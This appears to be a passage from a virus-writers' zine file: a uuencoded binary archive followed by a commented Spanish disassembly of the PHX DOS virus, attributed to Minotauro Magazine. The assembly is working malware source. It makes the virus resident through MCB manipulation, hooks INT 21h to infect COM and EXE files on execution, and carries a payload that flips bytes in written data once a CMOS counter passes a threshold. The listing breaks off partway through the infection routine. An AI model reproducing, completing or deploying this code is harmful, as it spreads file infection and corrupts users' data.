M.8(6N* ,.J"B&*'K2:#C^943$B7C%6\7"HO*R9[ZJ:'N.:'[QIW=Q607^*($
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
ML0=G##+I>/G+/=*^0 \]_B(;\++RNL/O-<X@_,^^E2+L;;V<N-JMM ;#&]"
M#>,+<:_T\&GJO@23X] X#3UJ\4 18:-0OAH+NK"]_$QLJ44';X0/-"!U;&P\
M#+4R$,45"8/QQ0)W]' S$V-SB<'ZJAPPM&^>['"0M:ZCR\@MG0PPR2*79)%,
M&M6<L3@0@TRQ+!O+[,J_B9ITSDOOP Q+S(78A#)/_=!$#L]!K:0O3A>E;(Q*
M)>=D=!&PVN3Q)"X7-4\R/G7R<RI )8RQ4D*_,G3*2_TP,\,U(ZW23AS^Q;OR
M.#9*[3+3'W-$4L4W"?Q453=')916 >LCL;\A(:445&5]U>Q05[4[-=8/O4,V
MT'2$%5-+8#&+]LC5OCQ6VDBSI!!;:G/K%E%UGUTWW)=ZS5;6;?=+=U=SX52W
MVF7)G19??8>="UYQDV5VWW/]]7159T,]<UYN!?8V8B(QM?;;@2M.]$2(*[PV
M778_'E+;$AOU6%Z'>]PX5X,E5AG@"MEMF6!['V7JWG9[W71<J&Q]56;R^CRY
MXY1[QGAB5.L,^=*<?<90Y&Y*[G?BI8N.65>B5S;Z:DF#WG!H19G.^C$M0<;9
M:GR%=7I,A9NE>F>S;V:UCJ.C!I=3K@->>UEZF"_&U>*SE7Y[[Z]%[3IOBK&>
M>^M_$V^59H2-M?MNR2>GO'+++\<\<\TWY[QSSS\'/7311R>]=--/1SUUU5=G
MO7777X<]=MEGI[UVVV_'/7?==^>]=]]_!SYXX8<GOGCCCT<^>>679[YYYY^'
M/GKIIZ>^>NNOQW[4" .U!+ P0* !I)2L>I4ZP27D3 !Y$P "P
M %1)14U03U,N1TE&1TE&.#=A@ +@ 9, JP"K "KJZL *L JZM7
M *NKJU=75U=7_U?_5U?___]75_]7____5____RP @ +@ 0,$_O#)2:N]
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
M=_53T35Y^]=Q18(69N(1 %-8_$=\K9<K#+@F47='#5B!;.> '&!9\$6'GA*
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
MW=(PO,L5?- IO<@SO<G7C-1/O=+=/-0Z'=(4_=--'<P [=)&3=0U_=4L#=6
M3,\#HM1I;-0X3=9OG-55O<]V/-(F+=1L3<Y''==A+=51;=-_7-=OK1]F/=$W
MK=;<K,543=<Y7:=__;)=?=8GJ]6 W=:(S-=RW=@ZN],T?==%#;39S,+\7,^)
MG-'@7,MSK=AB;<H;W=>/_=GEB]>J7;N5;==>'=24G=JD3<O O->R/-MTFMBG
M#=:.?=MT'=L^[,]JW=M7[;>C/=@7&-@*K=FUK=>&/<Z9#-MKS-JF[=FP;-VO
MW-FTG<+I[->%+=FR+<YH?<+8O=T][=RU0;K>[-W>[OW>\!W?\CW?]%W?]GW?
M^)W?^KW?_-W?_OW? ![@ C[@!%[@!G[@")[@"K[@#-[@#O[@$![A$EZH$0
M #M02P$"% 4 ( " #S>5/RC40&HWU !<?P "@ "
M 3$5#5$]2+D5815!+ 0(4 H #TP,!X]]:SYJQH *L: *
M ( *5 !,14-43U(N1TE&4$L! A0 "@ :24K'J5.L$EY
M$P >1, L @ >%L %1)14U03U,N1TE&4$L%!@ #
- , J0 !IO
end
; Virus: PHX (PHX.823, Willistrover, o mejor, Tracker)
; Infector parasitico de COM/EXE, residente via MCB
; Desensamblado por Trurl para Minotauro Magazine
code segment para public
assume cs:code, ds:code, es:code, ss:code
org 100h
.386
vsize equ vend-vstart
vsip equ (vsize+15)/16
start:
jmp vstart
db 0, 21h
db "Oh! Que hago aqui en el area [Virus Sources] de esta BBS, si yo "
db "pertenezco a una nota de Minotauro Magazine? Oh! "
db "Lo mas gracioso es que he observado que los Sysops ni siquiera se"
db "molestan en sacar estos textos antes de poner estos virus en las"
db "areas de Virus Sources de sus BBS. Los miraran los sources?"
db "No dejen de leer el proximo numero!"
db " Trurl, TGC [Iaba Daba DAN]"
vstart: ; instalacion desde un COM.
PUSH CS ; para despues poder salir con un RETF
PUSH 100h
PUSH CS
MOV AX,0B974h ; Chequeo de residencia
INT 21h
CMP AX,2888h ; BUG :-) Se carga en memoria + de 1 vez, si se corren
JZ inmem ; varios COM infectados... :-(. El valor seria 2808h
MOV BX,cs:[101h] ; obtener el offset del virus dentro del file
ADD BX,103h ; mediante sumar 103 al JMP NEAR del principio
CALL mcbres ; residencia via MCB
CALL hookints ; colgarse de las ints
inmem:
; restablecer los 3 bytes originales. Estos 3 bytes estan en el c�digo.
; por eso todo este quilombo.
db 36h,0c7h,6,0,1; MOV WORD PTR SS:[100], orbytes1
orbytes1 db 0b4h, 4ch
db 36h, 0c6h,6,2,1; MOV WORD PTR SS:[102], orbytes2
orbytes2 db 0cdh
POP AX
MOV DS,AX ; DS=ES=CS
MOV ES,AX
RETF ; ir al prog. original
instlexe: ; instalacion desde un EXE
MOV AX,ES
ADD AX,10h ; ax = fin del PSP
ADD cs:[Instl_CS-vstart],AX ; realocatear para el JMP
ADD cs:[Instl_SS-vstart],AX
MOV AX,0B974h ; Chequeo de residencia
INT 21h
CMP AX,2808h ; este esta bien.
JZ inmemexe
PUSH ES
PUSH DS
XOR BX,BX ; el virus esta en el off. cero
CALL mcbres ; quedar residente
CALL hookints ; colgarse de todo..
POP DS
POP ES
inmemexe:
; para poner SS:SP y CS:IP (el JMP) en los valores originales..
; estos valores estan "en el c�digo", de nuevo.
MOV SS,cs:[Instl_SS-vstart]
db 0bch ; mov sp, Instl_SP
Instl_SP dw 0
db 0eah; JMP far
Instl_IP dw 0
Instl_CS dw 0
Instl_SS dw 0
mcbres: ; residencia MCB..
; en BX viene el offset del virus, en ES devuelve el bloque en mem. alta.
PUSH BX
MOV AX,ES
DEC AX
MOV ES,AX
MOV BX,es:[3] ; BX=Size del bloque
SUB BX,(endheap-vstart+15)/16+1; restar 41h para
INC AX
MOV ES,AX
MOV AH,4Ah ; resizear el bloque a 41h para menos.
INT 21h
MOV AH,48h ; pedir 40 para.
MOV BX,(endheap-vstart+15)/16; 40h
INT 21h
DEC AX
MOV ES,AX
MOV WORD PTR es:[1],8; owner=dos
MOV WORD PTR es:[8],5053h; en el field name pone "SP".. ?
INC AX
MOV ES,AX
XOR DI,DI
POP SI ; ds:si=vir. en mem.
MOV BX,SI
MOV CX,vsize; copiar el virus a mem. alta.
db 2eh ; CS:
REPZ
MOVSB
RET
cmpadd:
; esto lo usa para reconocimiento de un programa... hace un c�digo
; coherente (no es "texto") pero igual lo pongo asi porque nunca recibe
; el control, solo sirve para la comparacion.
db 73h,5,0BAh,0B9h,2,0EBh,0E0h,0A3h,0C0h,1,0B4h,3Fh,8Bh,1Eh,0C0h,1
db 72h,0C7h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,48h,0C8h
db 72h,0C1h,0A3h,5,1,8Bh,0D8h,0B8h,0,3Fh,0B9h,0,1,0BAh,1Ah,0CAh
newint21:
CMP AH,4Bh
JZ execprog
CMP AX,3D02h
JZ openf
CMP AX,0B974h
JZ rescheck
CMP AH,40h
JZ write
quit21:
db 0eah ; JMP FAR
oldint21 dd 0
write: ; activacion.
CMP BYTE PTR cs:[actvar-vstart],1 ; ?
JZ isone
JMP quit21
isone:
PUSH AX
PUSH SI
CMP AX,1 ;
JZ quitwrite
MOV AL,5
OUT 70h,AL ; chequear que el contador de instalaciones en CMOS
IN AL,71h ; sea mayor a 80h (128).
CMP AL,80h
JB quitwrite
MOV SI,DX
ADD SI,CX
XOR BYTE PTR [SI],80h; ?
quitwrite:
POP SI
POP AX
JMP quit21
call21: ; para llamar a int 21 original
PUSHF
PUSH CS
CALL quit21
RET
rescheck: ; chequeo de residencia
MOV AX,2808h
IRET
newint24: ; dummy critical error handler
MOV AX,3
IRET
openf:
; este es el 1er disparador.
; busca el c�digo mas arriba (cmpadd) con el c�digo de retorno de esta
; llamada a abrir file (se entiende?)
PUSHA
PUSH ES
MOV DI,SP
MOV AX,ss:[DI+14h]; CS en stack
MOV ES,AX
MOV AX,ss:[DI+12h]; IP en stack
MOV DI,AX ; ES:DI = CS:IP del llamador
MOV SI,cmpadd-vstart
MOV DH,3
doagain:
PUSH DI
PUSH SI
MOV CX,10h
keepcmp:
db 2eh ; cs:
CMPSB
JNZ difrent
LOOP keepcmp ; compara el c�digo del CS:IP del llamador con el
JMP itscode ; c�digo mas arriba (cmpadd).
NOP
difrent:
POP SI
POP DI
ADD SI,10h ; si es distinto, intenta 3 veces.
DEC DH ; incrementando 10 del c�digo.
JNZ doagain
POP ES ; si en esas tres veces es distinto
POPA ; se va nomas.
JMP quit21
itscode:
CALL varto1 ; si es igual, pone la var. de activacion a 1
JMP difrent
execprog:
PUSHA
PUSH ES
PUSH DS
PUSH DS
PUSH ES
; esto es el 2do disparador.
; buscar PHX en el environment del programa actual
MOV AH,62h ; conseguir segment del PSP actual
CALL call21
MOV ES,BX
MOV SI,phxstr-vstart
MOV ES,es:[2Ch] ; ES = environment del prog. actual
XOR DI,DI
searchagain:
PUSH SI
PUSH DI
keepphx:
db 2eh
LODSB
OR AL,AL
JZ phxstrend
SCASB
JZ keepphx
phxstrend:
JZ phxfound
; no encontro la string..
POP DI
POP SI
XOR AL,AL
MOV CX,100h
REPNZ SCASB
JNZ nozero
CMP BYTE PTR es:[DI],0; buscar el doble 0.
JNZ nozero
JMP searchagain ; si encontro el doble 0, busca de nuevo PHX en la
; siguiente string del environment. ???
; busca en nombre de programa actual?
phxfound:; 2a9; encontro la string "PHX" en el environment del prog. actual
ADD SP,4 ; desechar DI y SI en stack
CALL varto1 ; poner la variable de activacion a 1
nozero: ; 2af ; no encontro la string, ni el doble cero
; recien ahora sucede la infeccion.
POP ES ; es y ds originales
POP DS
CALL dumberr; setear int 24 a dumb
PUSH DX
MOV DI,DX; DS:DX nombre del prog a ejecutar
XOR DL,DL
CMP BYTE PTR [DI+1],3Ah; ":"
JNZ skipdrive
MOV DL,[DI]
SUB DL,40h; de caracter a numero ("A"(41) -> 1)
skipdrive:
